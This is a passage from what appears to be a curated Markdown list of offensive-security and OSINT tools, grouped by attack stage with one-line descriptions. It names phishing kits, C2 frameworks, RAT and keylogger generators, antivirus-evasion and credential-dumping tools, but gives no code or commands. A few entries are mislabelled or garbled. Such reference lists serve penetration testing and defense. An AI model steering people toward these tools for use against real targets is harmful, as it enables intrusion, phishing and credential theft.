* [Awesome Hacker Search Engines](https://github.com/edoardottt/awesome-hacker-search-engines) — CVEs, Domains, Addresses, Certifications, Credentials, etc.
* [Censys](https://censys.io/) - Collects data on hosts and websites through daily ZMap and ZGrab scans.
* [ExitLooter](https://github.com/aydinnyunus/exifLooter) - Find geolocation on image URL and directories
* [Grey Noise](https://www.greynoise.io/) — Trace IPs, URLs, etc.
* [Js-parse](https://github.com/l4yton/js-parse) — Looks through javascript files in a given directory and finds subdomains, URLs, parameters, custom headers, and API keys
* [Majestic](https://majestic.com) - Find out who links to your website
* [Phonebook](https://phonebook.cz/) — Lists all domains, email addresses, URL for the target domain
* [PowerMeta](https://github.com/dafthack/PowerMeta) — Searches for publicly available files hosted on webpages for a particular domain
* [URLVoid](https://www.urlvoid.com/) - Analyzes a website through multiple blacklist engines and online reputation tools to facilitate the detection of fraudulent and malicious websites.
* [WhereGoes](https://wheregoes.com/) — URL Redirect Checker
**Backlinks**
* [Link Explorer](https://moz.com/link-explorer)
* [Open Link Profiler](https://www.openlinkprofiler.org/)
* [WebMeUp](https://webmeup.com/)
**Finding Broken Links**
* [SocialHunter](https://github.com/utkusen/socialhunter) — Crawls the given URL and finds broken social media links that can be hijacked
* [Redirect Detective](https://redirectdetective.com/)
#### DNS / WHOIS
* [DNS Dumpster](https://dnsdumpster.com/) - Search for DNS records quickly
* [DNS History](http://dnshistory.org/) - DNS) Historical Record Archive
* [DNSrr](https://github.com/A3h1nt/Dnsrr) — Enumerate all information from DNS records
* [DNSenum](https://github.com/fwaeytens/dnsenum/) - Perl script that enumerates DNS information from a domain, attempts zone transfers, performs a brute force dictionary style attack, and then performs reverse look-ups on the results.
* [DNSmap](https://github.com/makefu/dnsmap/) - Passive DNS network mapper.
* [DNSrecon](https://github.com/darkoperator/dnsrecon/) - DNS enumeration script.
* [DNStracer](http://www.mavetju.org/unix/dnstracer.php) - Determines where a given DNS server gets its information from, and follows the chain of DNS servers.
* [DNSviz](https://dnsviz.net/)
* [IP Spy](https://ipspy.net/) - IP Lookup, WHOIS, and DNS resolver
* [IQ WHOIS](https://iqwhois.com/advanced-search) — Advanced WHOIS Search
* [Passivedns-client](https://github.com/chrislee35/passivedns-client) - Library and query tool for querying several passive DNS providers.
* [Passivedns](https://github.com/gamelinux/passivedns) - Network sniffer that logs all DNS server replies for use in a passive DNS setup.
* [WhoisFreaks](https://whoisfreaks.com/) — WHOIS Discovery
* [dnsenum](https://github.com/fwaeytens/dnsenum) — Script that enumerates DNS information
* [Into DNS](https://intodns.com/)
* [IP Checking](https://www.ipchecking.com/)
* [Kloth](http://www.kloth.net/services/)
* [Network Tools](https://network-tools.com/)
* [MXToolbox](https://mxtoolbox.com/) - MX record lookup tool.
* [Remote DNS Lookup](https://remote.12dt.com)
* [Robtex](https://www.robtex.com/)
* [SecurityTrails](https://securitytrails.com/dns-trails) - API to search current and historical DNS records, current and historical WHOIS, technologies used by sites and whois search for phone, email, address, IPs etc.
* [Who.is](https://who.is/) - Domain whois information.
* [Whois Arin Online](https://whois.arin.net/ui/)
* [WhoIsHostingThis](https://www.whoishostingthis.com/)
* [Whoisology](https://whoisology.com)
* [WhoIsRequest](https://whoisrequest.com/)
* [Domfind](https://github.com/diogo-fernan/domfind) - domfind is a Python DNS crawler for finding identical domain names under different TLDs.
#### Favicon
* [FavFreak](https://github.com/devanshbatham/FavFreak) - Fetches the favicon.ico and hash value and generates shodan dorks
#### Cloud
* [CloudFrunt](https://github.com/MindPointGroup/cloudfrunt) - Tool for identifying misconfigured CloudFront domains.
<hr>
<br>
### Vulnerability Scanners
* [Nmap](https://nmap.org/)
* [AngryIP](https://angryip.org/)
* [PRTG](https://www.paessler.com/tools)
* [Spidex](https://github.com/alechilczenko/spidex) — Find Internet-connected devices
* [BurpSuite](https://portswigger.net/burp)
* [Trend Micro Hybrid Cloud Security](https://www.g2.com/products/trend-micro-hybrid-cloud-security/reviews)
* [Orca Security](https://orca.security/)
* [InsightVM](https://www.rapid7.com/products/insightvm/?utm_source=google&utm_medium=cpc&utm_campaign=NA_Brand_BOF_GSN_EN&utm_term=insightvm&_bt=600185603260&_bm=e&_bn=g&gclid=CjwKCAjwvsqZBhAlEiwAqAHElXcGdtMkjJdBeeSLPL-Sox66izRyW1oy0EP3tYBAh7-Rgte3_yzQVRoCZhEQAvD_BwE)
* [Qualys](https://www.qualys.com/)
* [Nginxpwner] - Tool to look for common Nginx misconfigurations and vulnerabilities
* [Nikto](https://cirt.net/Nikto2)
* [Nrich](https://gitlab.com/shodan-public/nrich) - Quickly analyze IPs and determines open ports / vulnerabilities
* [Uncover](https://github.com/projectdiscovery/uncover) - Quickly discover exposed hosts on the internet using shodan, censys and fofa
* [scanless](https://github.com/vesche/scanless) — Websites that performs port scans on your behalf
* [Naabu](https://github.com/projectdiscovery/naabu) - Enumerate valid ports conducting a SYN/CONNECT scans on the host(s) ports that return a reply
#### Web Scanners
* [BurpSuite](https://portswigger.net/burp)
* [ACSTIS](https://github.com/tijme/angularjs-csti-scanner) - Automated client-side template injection (sandbox escape/bypass) detection for AngularJS.
* [BuiltWith](https://builtwith.com/)
* [Burp Suite](https://portswigger.net/burp) - Commercial web vulnerability scanner, with limited community edition.
* [cms-explorer](https://code.google.com/archive/p/cms-explorer/) - Reveal the specific modules, plugins, components and themes that various websites powered by content management systems are running.
* [Netsparker Web Application Security Scanner](https://www.netsparker.com/) - Commercial web application security scanner to automatically find many different types of security flaws.
* [Nikto](https://cirt.net/nikto2) - Noisy but fast black box web server and web application vulnerability scanner.
* [Observatory](https://observatory.mozilla.org/) - Free online web scanning utility.
* [OWASP Zed Attack Proxy (ZAP)](https://owasp.org/www-project-zap/) - Feature-rich, scriptable HTTP intercepting proxy and fuzzer for penetration testing web applications.
* [Security Headers](https://securityheaders.com/) - Free online utility for checking a website's HTTP headers for security vulnerabilities.
* [SQLmate](https://github.com/s0md3v/sqlmate) - A friend of sqlmap that identifies sqli vulnerabilities based on a given dork and website (optional).
* [WPScan](https://wpscan.com/wordpress-security-scanner) - Black box WordPress vulnerability scanner.
* [Follow.net](https://follow.net/)
* [HypeStat](https://hypestat.com/)
* [StatsCrop](https://www.statscrop.com/)
* [Netcraft Site Report](https://sitereport.netcraft.com/)
* [Wappalyzer](https://www.wappalyzer.com/)
#### Additional Scanners
* [Fenrir](https://github.com/Neo23x0/Fenrir) - Fenrir is a simple IOC scanner. It allows scanning any UNIX system for IOCs in plain bash.
#### Fuzzers
* [fuzzbox](https://github.com/iSECPartners/fuzzbox/) - Multi-codec media fuzzing tool.
* [honggfuzz](https://github.com/google/honggfuzz/) - Security orientated fuzzing tool.
* [melkor-android](https://github.com/anestisb/melkor-android/) - Android fuzzing tool for ELF file formats.
* [radamsa](https://gitlab.com/akihe/radamsa) - General purpose fuzzing tool.
**API Keys**
* [Clickjacker](https://serene-agnesi-57a014.netlify.app/) — Discover secret API Keys
* [js-parse](https://github.com/l4yton/js-parse) — Looks through javascript files in a given directory and finds subdomains, URLs, parameters, custom headers, and API keys
* [Astra](https://github.com/Sachin-v3rma/Astra) — Finds API keys, URLs, AWS Buckets, etc.
**Web Cookies**
* [CookieServe](https://www.cookieserve.com/) — Cookie Checker Tool for Websites
**Missing Headers**
* [securityheader.com](http://securityheader.com) — Reports headers that are missing; Exploitable
#### Web Exploitation
* [Browser Exploitation Framework (BeEF)](https://github.com/beefproject/beef) - Command and control server for delivering exploits to commandeered Web browsers.
* [Commix](https://github.com/commixproject/commix) - Automated all-in-one operating system command injection and exploitation tool.
* [Drupwn](https://github.com/immunIT/drupwn/) - Drupal web application exploitation tool.
* [EyeWitness](https://github.com/FortyNorthSecurity/EyeWitness) - Tool to take screenshots of websites, provide some server header info, and identify default credentials if possible.
* [fimap](https://github.com/kurobeats/fimap) - Find, prepare, audit, exploit and even Google automatically for LFI/RFI bugs.
* [FuzzDB](https://github.com/fuzzdb-project/fuzzdb) - Dictionary of attack patterns and primitives for black-box application fault injection and resource discovery.
* [IIS-Shortname-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) - Command line tool to exploit the Windows IIS tilde information disclosure vulnerability.
* [Kadabra](https://github.com/D35m0nd142/Kadabra) - Automatic LFI exploiter and scanner.
* [Kadimus](https://github.com/P0cL4bs/Kadimus) - LFI scan and exploit tool.
* [LFISuite](https://github.com/D35m0nd142/LFISuite) - A tool designed to exploit Local File Include vulnerabilities.
* [libformatstr](https://github.com/hellman/libformatstr) - Python script designed to simplify format string exploits.
* [liffy](https://github.com/hvqzao/liffy) - LFI exploitation tool.
* [lyncsmash](https://github.com/nyxgeek/lyncsmash) - A collection of tools to enumerate and attack self-hosted Skype for Business and Microsoft Lync installations
* [NoSQLmap](https://github.com/codingo/NoSQLMap) - Automatic NoSQL injection and database takeover tool.
* [SQLmap](http://sqlmap.org/) - Automated SQL injection and database takeover tool.
* [sqlninja](http://sqlninja.sourceforge.net/) - Automated SQL injection and database takeover tool.
* [sslstrip2](https://github.com/LeonardoNve/sslstrip2) - SSLStrip version to defeat HSTS.
* [sslstrip](https://github.com/moxie0/sslstrip) - Demonstration of the HTTPS stripping attacks.
* [tplmap](https://github.com/epinna/tplmap) - Automatic server-side template injection and Web server takeover tool.
* [VHostScan](https://github.com/codingo/VHostScan) - A virtual host scanner that performs reverse lookups, can be used with pivot tools, detect catch-all scenarios, aliases and dynamic default pages.
* [wafw00f](https://github.com/EnableSecurity/wafw00f) - Identifies and fingerprints Web Application Firewall (WAF) products.
* [webscreenshot](https://github.com/maaaaz/webscreenshot) - A simple script to take screenshots from a list of websites.
* [weevely3](https://github.com/epinna/weevely3) - Weaponized web shell.
* [Wordpress Exploit Framework](https://github.com/rastating/wordpress-exploit-framework) - Ruby framework for developing and using modules which aid in the penetration testing of WordPress powered websites and systems.
* [WPSploit](https://github.com/espreto/wpsploit) - Exploit WordPress-powered websites with Metasploit.
* [Fuxploiter](https://hakin9.org/fuxploider-a-file-upload-vulnerability-scanner/) — Detecting and exploiting file upload forms flaws
#### Extensions
* [AutoScanWithBurp](https://bitbucket.org/clr2of8/autoscanwithburp/src/master/) — Extension to perform automated & authenticated scans against URLS
* [OAuthScan](https://github.com/PortSwigger/oauth-scan) - Burp Suite Extension written in Java with the aim to provide some automatic security checks
* [Mitaka](https://hakin9.org/mitaka-a-browser-extension-for-osint/) — Browser extension for OSINT
### Misc OSINT Tools
* [Photon](https://github.com/s0md3v/Photon) - Crawler designed for OSINT.
* [GOSINT](https://github.com/Nhoya/gOSINT) - OSINT tool with multiple modules and a telegram scraper.
* [Maltego](https://www.maltego.com/) - Proprietary software for open source intelligence and forensics, from Paterva.
* [SecApps Recon](https://secapps.com/tools/recon/) - Information gathering and target reconnaissance tool and UI.
* [Spiderfoot](https://www.spiderfoot.net/) - Open source OSINT automation tool with a Web UI and report visualizations
* [Vcsmap](https://github.com/melvinsh/vcsmap) - Plugin-based tool to scan public version control systems for sensitive information.
* [XRay](https://github.com/evilsocket/xray) - XRay is a tool for recon, mapping and OSINT gathering from public networks.
### Threat Hunting / Intelligence
* [Crits](https://crits.github.io/) - a web-based tool which combines an analytic engine with a cyber threat database .
* [Fileintel](https://github.com/keithjjones/fileintel) - Pull intelligence per file hash.
* [HELK](https://github.com/Cyb3rWard0g/HELK) - Threat Hunting platform.
* [Hostintel](https://github.com/keithjjones/hostintel) - Pull intelligence per host.
<hr>
<br>
## Resource Development Tools
Creating, purchasing, or compromising resources that can be used to support targeting
### Pentesting OS Distributions
* [ArchStrike](https://archstrike.org/) - Arch GNU/Linux repository for security professionals and enthusiasts.
* [AttifyOS](https://github.com/adi0x90/attifyos) - GNU/Linux distribution focused on tools useful during Internet of Things (IoT) security assessments.
* [BackBox](https://www.backbox.org/) - Ubuntu-based distribution for penetration tests and security assessments.
* [BlackArch](https://www.blackarch.org/) - Arch GNU/Linux-based distribution for penetration testers and security researchers.
* [Buscador](https://inteltechniques.com/buscador/) - GNU/Linux virtual machine that is pre-configured for online investigators.
* [Fedora Security Lab](https://labs.fedoraproject.org/en/security/) - Provides a safe test environment to work on security auditing, forensics, system rescue and teaching security testing methodologies.
* [Kali](https://www.kali.org/) - GNU/Linux distribution designed for digital forensics and penetration testing.
* [Network Security Toolkit (NST)](https://networksecuritytoolkit.org/nst/index.html) - Fedora-based bootable live operating system designed to provide easy access to best-of-breed open source network security applications.
* [Parrot Security OS](https://www.parrotsec.org/) - Distribution similar to Kali using the same repositories, but with additional features such as Tor and I2P integration.
* [The Pentesters Framework](https://github.com/trustedsec/ptf) - Distro organized around the Penetration Testing Execution Standard (PTES), providing a curated collection of utilities that eliminates often unused toolchains.
* [LOTS Project](https://lots-project.com/) — Websites that allows attackers to use their domain when conducting phishing, C2, exfiltration, and downloading tools to evade detection
### Hardware
* [Flipper Zero](https://flipperzero.one/)
* [LAN Turtle](https://shop.hak5.org/products/lan-turtle) - Covert "USB Ethernet Adapter" that provides remote access, network intelligence gathering, and MITM capabilities when installed in a local network.
* [PCILeech](https://github.com/ufrisk/pcileech) - Uses PCIe hardware devices to read and write from the target system memory via Direct Memory Access (DMA) over PCIe.
* [Poisontap](https://samy.pl/poisontap/) - Siphons cookies, exposes internal (LAN-side) router and installs web backdoor on locked computers.
* [Proxmark3](https://proxmark3.com/) - RFID/NFC cloning, replay, and spoofing toolkit often used for analyzing and attacking proximity cards/readers, wireless keys/keyfobs, and more.
* [USB Rubber Ducky](https://shop.hak5.org/products/usb-rubber-ducky-deluxe) - Customizable keystroke injection attack platform masquerading as a USB thumbdrive.
* [WiFi Pineapple](https://shop.hak5.org/products/wifi-pineapple) - Wireless auditing and penetration testing platform.
#### Lockpicking Resources
* [/r/lockpicking Subreddit](https://www.reddit.com/r/lockpicking/) - Subreddit dedicated to the sport of lockpicking.
* [Keypicking.com](https://keypicking.com/) - Bustling online forum for the discussion of lockpicking and locksport.
* [LockWiki](http://lockwiki.com/index.php/Main_Page) - Community-driven reference for both beginners and professionals in the security industry.
* [Lockpicking Forensics](http://www.lockpickingforensics.com/) - Website "dedicated to the science and study of forensic locksmithing."
* [Lockpicking101.com](https://www.lockpicking101.com/) - One of the longest-running online communities "dedicated to the fun and ethical hobby of lock picking."
* [The Amazing King's Lockpicking pages](http://theamazingking.com/lockpicking.php) - Hobbyist's website with detailed pages about locks, tools, and picking techniques.
### CLI Usability
* [Bat](https://github.com/sharkdp/bat) — Advanced syntax highlighting
* [fzf](https://github.com/junegunn/fzf) — General purpose command-line fuzzy finder
* [exa](https://github.com/ogham/exa) — Advanced replacement for `ls`
* [macOS Terminal (zsh) — The Beginner’s Guide](https://www.youtube.com/watch?v=ogWoUU2DXBU)
## Initial Access Tools
Various entry vectors to gain your initial foothold within a network
### Phishing
* [AdvPhishing] - This Is Advance Phishing Tool! OTP PHISHING
* [CredSniper](https://github.com/ustayready/CredSniper) — Launch phishing site
* [DarkSide](https://hakin9.org/darkside-tool-information-gathering-social-engineering/) — OSINT & Social Engineering Tool
* [EvilNoVNC](https://github.com/JoelGMSec/EvilnoVNC) - Ready to go Phishing Platform
* [Fake-SMS](https://www-hackers--arise-com.cdn.ampproject.org/c/s/www.hackers-arise.com/amp/social-engineering-attacks-creating-a-fake-sms-message) — Create SMS messages
* [Mip22](https://github.com/makdosx/mip22) - Advanced phishing tool
* [PhishStats](https://phishstats.info/#) - gathering, enhancing and sharing phishing information with the infosec community.
* [PyPhisher](https://hakin9.org/pyphisher-easy-to-use-phishing-tool-with-65-website-templates/) — Phishing website templates
* [Zphishper](https://github.com/htr-tech/zphisher) - Automated phishing tool
- C2
* [CiLocks] - Android LockScreen Bypass
* [Android-PIN-Bruteforce] - Unlock An Android Phone (Or Device) By Bruteforcing The Lockscreen PIN
### Social Engineering Tools
* [Beelogger](https://github.com/4w4k3/BeeLogger) - Tool for generating keylooger.
* [Canary Tokens](https://canarytokens.org/generate#) - Generate tokens to automatically alert users when triggered.
* [Catphish](https://github.com/ring0lab/catphish) - Tool for phishing and corporate espionage written in Ruby.
* [Evilginx](https://github.com/kgretzky/evilginx2) - MITM attack framework used for phishing credentials and session cookies from any Web service
* [Gophish](https://getgophish.com/) - Open-Source Phishing Framework
* [King Phisher](https://github.com/rsmusllp/king-phisher) - Phishing campaign toolkit used for creating and managing multiple simultaneous phishing attacks with custom email and server content.
* [Lucy Phishing Server](https://lucysecurity.com/) - (commercial) tool to perform security awareness trainings for employees including custom phishing campaigns, malware attacks etc. Includes many useful attack templates as well as training materials to raise security awareness.
* [PhishingFrenzy](https://www.phishingfrenzy.com/) - Phishing Frenzy is an Open Source Ruby on Rails application that is leveraged by penetration testers to manage email phishing campaigns.
* [SET](https://github.com/trustedsec/social-engineer-toolkit) - The Social-Engineer Toolkit from TrustedSec
* [Wifiphisher](https://github.com/wifiphisher/wifiphisher) - Automated phishing attacks against Wi-Fi networks
## Execution Tools
Attacker-controlled code running on a local or remote system
### C2 Frameworks
Communicating with systems under your control within a victim network
* [Browser Exploitation Framework (BeEF)](https://beefproject.com/) — Recovering web session information and exploiting client-side scripting
* [Brute Ratel](https://bruteratel.com/) - A customized C2 center for Red Team and Adversary Simulation
* [Cobalt Strike](https://www.cobaltstrike.com/) — Adversary simulations & red team operations
* [Covenant](https://github.com/cobbr/Covenant) — .NET C2 framework
* [Emp3R0R](https://github.com/jm33-m0/emp3r0r) - Linux post-exploitation framework
* [GithubC2](https://github.com/D1rkMtr/githubC2/tree/main) - Using Github as a C2
* [HazProne](https://securityonline.info/hazprone-cloud-pentesting-framework/) — Cloud Pentesting Framework
* [Lockdoor Framework](https://github.com/SofianeHamlaoui/Lockdoor-Framework) — Framework that automates pentesting tools
* [Metasploit](https://www.metasploit.com/)
* [Notion Term](https://github.com/ariary/notionterm) — Embed reverse shell in Notion pages
* [Octopus](https://www.kitploit.com/2022/05/octopus-open-source-pre-operation-c2.html) — Pre-operation C2 server
* [Pacu](https://rhinosecuritylabs.com/aws/pacu-open-source-aws-exploitation-framework/) — Scanning and exploit tools for reconnaissance and exploitation of Amazon Web Service (AWS) accounts
* [Recon-ng](https://github.com/lanmaster53/recon-ng) — Full reconnaissance framework to conduct open source web-based recon
* [SilentTrinity](https://github.com/byt3bl33d3r/SILENTTRINITY) — Asynchronous, multiplayer, & multiserver C2 framework
* [Silver](https://github.com/BishopFox/sliver) — Open source cross-platform red team framework
* [Sn1per](https://github.com/1N3/Sn1per) — All in one pentesting framework
* [Zed Attack Proxy (ZAP)](https://owasp.org/www-project-zap/) — Scanning tools and scripts for web application and mobile app security testing
<hr>
<br>
### Multi-Paradigm Frameworks
* [Armitage](http://www.fastandeasyhacking.com/) - Java-based GUI front-end for the Metasploit Framework.
* [AutoSploit](https://github.com/NullArray/AutoSploit) - Automated mass exploiter, which collects target by employing the Shodan.io API and programmatically chooses Metasploit exploit modules based on the Shodan query.
* [Faraday](https://github.com/infobyte/faraday) - Multiuser integrated pentesting environment for red teams performing cooperative penetration tests, security audits, and risk assessments.
* [Habu Hacking Toolkit](https://github.com/fportantier/habu) - Unified set of tools spanning passive reconnaissance, network attacks, social media monitoring, and website fingerprinting.
* [Mad-Metasploit](https://www.hahwul.com/p/mad-metasploit.html) - Additional scripts for Metasploit.
* [Metasploit](https://www.metasploit.com/) - Software for offensive security teams to help verify vulnerabilities and manage security assessments.
* [Mobile Security Framework (MobSF)](https://github.com/MobSF/Mobile-Security-Framework-MobSF/) - Automated mobile application pentesting framework capable of static analysis, dynamic analysis, malware analysis, and web API testing.
* [Pupy](https://github.com/n1nj4sec/pupy) - Cross-platform (Windows, Linux, macOS, Android) remote administration and post-exploitation tool.
* [Rupture](https://github.com/dionyziz/rupture) - Multipurpose tool capable of man-in-the-middle attacks, BREACH attacks and other compression-based crypto attacks.
<hr>
<br>
### Post-Exploitation
* [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec/) - Multipurpose post-exploitation suite containing many plugins.
* [DBC2](https://github.com/Arno0x/DBC2/) - Multipurpose post-exploitation tool.
* [Empire](https://github.com/EmpireProject/Empire/) - PowerShell based (Windows) and Python based (Linux/OS X) post-exploitation framework.
* [EvilOSX](https://github.com/Marten4n6/EvilOSX/) - macOS backdoor with docker support.
* [Fathomless](https://github.com/xor-function/fathomless) - A collection of post-exploitation tools for both Linux and Windows systems.
* [FruityC2](https://github.com/xtr4nge/FruityC2/) - Open source, agent-based post-exploitation framework with a web UI for management.
* [Koadic](https://github.com/zerosum0x0/koadic) - Windows post-exploitation rootkit, primarily utilizing Windows Script Host.
* [PlugBot](https://www.redteamsecure.com/research/plugbot-hardware-botnet-research) - Can be installed onto an ARM device for Command & Control use and more.
* [Portia](https://github.com/milo2012/portia) - Automated post-exploitation tool for lateral movement and privilege escalation.
* [ProcessHider](https://github.com/M00nRise/ProcessHider/) - Post-exploitation tool for hiding processes.
* [Pupy](https://github.com/n1nj4sec/pupy/) - Open source cross-platform post-exploitation tool, mostly written in Python.
* [RemoteRecon](https://github.com/xorrior/RemoteRecon/) - Post-exploitation utility making use of multiple agents to perform different tasks.
* [TheFatRat](https://github.com/Exploit-install/TheFatRat) - Tool designed to generate remote access trojans (backdoors) with msfvenom.arch-project/) - Can be installed onto an ARM device for Command & Control use and more.
* [p0wnedShell](https://github.com/Cn33liz/p0wnedShell) - PowerShell based post-exploitation utility utilizing .NET.
* [poet](https://github.com/offlinemark/poet) - Simple but multipurpose post-exploitation tool.
#### Side-channel Tools
* [ChipWhisperer](https://rtfm.newae.com/) - Complete open-source toolchain for side-channel power analysis and glitching attacks
<br>
## Persistence Tools
* [SillyRAT] - A Cross Platform Multifunctional (Windows/Linux/Mac) RAT
* [Byp4Xx] - Simple Bash Script To Bypass "403 Forbidden" Messages With Well-Known Methods
* [Arbitrium-RAT] - A Cross-Platform, Fully Undetectable Remote Access Trojan, To Control Android, Windows And Linux
## Privilege Escalation Tools
Gaining higher-level permissions on a system or network
### Windows Utilities
* [Bloodhound](https://github.com/BloodHoundAD/BloodHound/wiki) - Graphical Active Directory trust relationship explorer.
* [Commentator](https://github.com/clr2of8/Commentator) - PowerShell script for adding comments to MS Office documents, and these comments can contain code to be executed.
* [DeathStar](https://github.com/byt3bl33d3r/DeathStar) - Python script that uses Empire's RESTful API to automate gaining Domain Admin rights in Active Directory environments.
* [Empire](https://www.powershellempire.com/) - Pure PowerShell post-exploitation agent.
* [Fibratus](https://github.com/rabbitstack/fibratus) - Tool for exploration and tracing of the Windows kernel.
* [GetVulnerableGPO](https://github.com/gpoguy/GetVulnerableGPO/) - PowerShell based utility for finding vulnerable GPOs.
* [Headstart](https://github.com/GoVanguard/script-win-privescalate-headstart) - Lazy man's Windows privilege escalation tool utilizing PowerSploit.
* [Hyena](https://www.systemtools.com/hyena/download.htm) - NetBIOS exploitation.
* [Luckystrike](https://github.com/curi0usJack/luckystrike) - PowerShell based utility for the creation of malicious Office macro documents.
* [Magic Unicorn](https://github.com/trustedsec/unicorn) - Shellcode generator for numerous attack vectors, including Microsoft Office macros, PowerShell, HTML applications (HTA), or `certutil` (using fake certificates).
* [Mimikatz](https://blog.gentilkiwi.com/mimikatz) - Credentials extraction tool for Windows operating system.
* [PowerSploit](https://github.com/PowerShellMafia/PowerSploit) - PowerShell Post-Exploitation Framework.
* [PSKernel-Primitives](https://github.com/FuzzySecurity/PSKernel-Primitives/) - Exploiting primitives for PowerShell.
* [Redsnarf](https://github.com/nccgroup/redsnarf) - Post-exploitation tool for retrieving password hashes and credentials from Windows workstations, servers, and domain controllers.
* [Rubeus](https://github.com/GhostPack/Rubeus) - Rubeus is a C# toolset for raw Kerberos interaction and abuses.
* [Sysinternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) - The Sysinternals Troubleshooting Utilities.
* [Windows Credentials Editor](https://www.ampliasecurity.com/research/windows-credentials-editor/) - Inspect logon sessions and add, change, list, and delete associated credentials, including Kerberos tickets.
* [Windows Exploit Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) - Suggests Windows exploits based on patch levels.
<hr>
<br>
### Linux Utilities
* [Bella](https://github.com/khaleds-brain/Bella) - Bella is a pure python post-exploitation data mining tool & remote administration tool for macOS.
* [Linus](https://cisofy.com/lynis/) - Security auditing tool for Linux and macOS.
<hr>
<br>
### macOS Utilities
* [LinPeas](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) — Linux Privilege Escalation
* [Linus](https://cisofy.com/lynis/) - Security auditing tool for Linux and macOS.
* [Linux Exploit Suggester](https://github.com/InteliSecureLabs/Linux_Exploit_Suggester) - Heuristic reporting on potentially viable exploits for a given GNU/Linux system.
* [Mempodipper](https://www.exploit-db.com/exploits/18411/) - Linux Kernel 2.6.39 < 3.2.2 local privilege escalation script.
* [vuls](https://github.com/future-architect/vuls) - Linux/FreeBSD agentless vulnerability scanner.
* [Linux Priv Checker](https://github.com/linted/linuxprivchecker) — Enumerate basic system info and search for common privilege escalation vectors
<hr>
<br>
## Defense Evasion Tools
Avoiding detection throughout your compromise
* [LOTS Project](https://lots-project.com/) — Websites that allows attackers to use their domain when conducting phishing, C2, exfiltration, and downloading tools to evade detection
### Evade AV/EDR
* [AntiVirus Evasion Tool (AVET)](https://github.com/govolution/avet) - Post-process exploits containing executable files targeted for Windows machines to avoid being recognized by antivirus software.
* [GPU Poisoning](https://gitlab.com/ORCA000/gp) — Hide payload inside GPU memory
* [Hyperion](https://nullsecurity.net/tools/binary.html) - Runtime encryptor for 32-bit portable executables ("PE `.exe`s").
* [Inceptor](https://github.com/klezVirus/inceptor) — Automate common AV/EDR bypasses
* [PeCloak.py](https://www.securitysift.com/pecloak-py-an-experiment-in-av-evasion/) - Automates the process of hiding a malicious Windows executable from antivirus (AV) detection.
* [PeCloakCapstone](https://github.com/v-p-b/peCloakCapstone) - Multi-platform fork of the peCloak.py automated malware antivirus evasion tool.
* [Shellter](https://www.shellterproject.com/) - Dynamic shellcode injection tool, and the first truly dynamic PE infector ever created.
* [SigThief](https://github.com/secretsquirrel/SigThief) - Stealing signatures to evade AV.
* [UniByAv](https://github.com/Mr-Un1k0d3r/UniByAv) - Simple obfuscator that takes raw shellcode and generates Anti-Virus friendly executables by using a brute-forcable, 32-bit XOR key.
* [Windows-SignedBinary](https://github.com/vysecurity/Windows-SignedBinary) - AV evasion tool for binary files.
<hr>
<br>
### Packet Injection
* [Dsniff](https://monkey.org/~dugsong/dsniff/)
* [Ettercap](https://www.ettercap-project.org/)
* [hping](http://hping.org/) — TCP/IP packet assembler/analyzer
* [Scapy](https://scapy.net/) — Packet manipulation program
<hr>
<br>
### Wrappers
* [dll4shell](https://github.com/cepxeo/dll4shell) - A collection of DLL wrappers around various shellcode injection and obfuscation techniques
<hr>
<br>
## Credential Access Tools
Stealing credentials like account names and passwords
### Password Attacks
* [CredKing](https://github.com/ustayready/CredKing) — Launch Password Spraying using AWS Lamba across multiple regions, rotating IPs w/ each request
* [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) — Perform password spraying against users in a domain
* [LDAP Nom Nom](https://github.com/lkarlslund/ldapnomnom) - Anonymously bruteforce Active Directory usernames from Domain Controllers by abusing LDAP Ping requests (cLDAP)
* [Masky](https://github.com/Z4kSec/Masky) - Python library providing an alternative way to remotely dump domain users' credentials thanks to an ADCS
* [SharpML] - Machine Learning Network Share Password Hunting Toolkit
<hr>
<br>
### Hash Cracking
* [CeWL](https://digi.ninja/projects/cewl.php) - Generates custom wordlists by spidering a target's website and collecting unique words.
* [CrackStation](https://crackstation.net/) - Online password cracker.
* [Hashcat](http://hashcat.net/hashcat/) - Fast hash cracking utility with support for most known hashes as well as OpenCL and CUDA acceleration.
* [JPassword Recovery Tool](https://sourceforge.net/projects/jpassrecovery/) - RAR bruteforce cracker. Formery named RAR Crack.
* [JWT Cracker](https://github.com/lmammino/jwt-cracker) - Simple HS256 JWT token brute force cracker.
* [John the Ripper Jumbo edition](https://github.com/openwall/john) - Community enhanced version of John the Ripper.
* [John the Ripper](https://www.openwall.com/john/) - Fast password cracker.
* [Mentalist](https://github.com/sc0tfree/mentalist) - Unique GUI based password wordlist generator compatible with CeWL and John the Ripper.
- Hash Database — Upload Hashes
<hr>
<br>
## Discovery Tools
Observing potential control and what’s around your entry point in order to discover how it could benefit your current objective
* [Barcode Reader](https://online-barcode-reader.inliteresearch.com/) - Decode barcodes in C#, VB, Java, C\C++, Delphi, PHP and other languages.
* [LinEnum](https://github.com/rebootuser/LinEnum) — Linux Enumeration
* [Linux Exploit Suggester](https://github.com/mzet-/linux-exploit-suggester) — Assist in detecting security deficiencies for given Linux kernel/Linux-based machine
### Network Tools
* [dnstwist](https://github.com/elceef/dnstwist) - Domain name permutation engine for detecting typo squatting, phishing and corporate espionage.
* [dsniff](https://www.monkey.org/~dugsong/dsniff/) - Collection of tools for network auditing and pentesting.
* [enumdb](https://github.com/m8r0wn/enumdb) - MySQL and MSSQL bruteforce utility
* [FireAway](https://github.com/tcstool/Fireaway/) - Firewall audit and security bypass tool.
* [impacket](https://github.com/SecureAuthCorp/impacket) - Collection of Python classes for working with network protocols.
* [Intercepter-NG](http://sniff.su/) - Multifunctional network toolkit.
* [kerbrute](https://github.com/ropnop/kerbrute) - A tool to perform Kerberos pre-auth bruteforcing.
* [Low Orbit Ion Cannon (LOIC)](https://github.com/NewEraCracker/LOIC/) - Open source network stress testing tool.
* [Ncat](https://nmap.org/ncat/) - TCP/IP command line utility supporting multiple protocols.
* [netcut](https://arcai.com/netcut/) - ARP based utility for discovering and spoofing MAC addresses and enabling/disabling network connectivity on network devices.
* [Network-Tools.com](https://network-tools.com/) - Website offering an interface to numerous basic network utilities like `ping`, `traceroute`, `whois`, and more.
* [patator](https://github.com/lanjelot/patator) - Patator is a multi-purpose brute-forcer, with a modular design and a flexible usage.
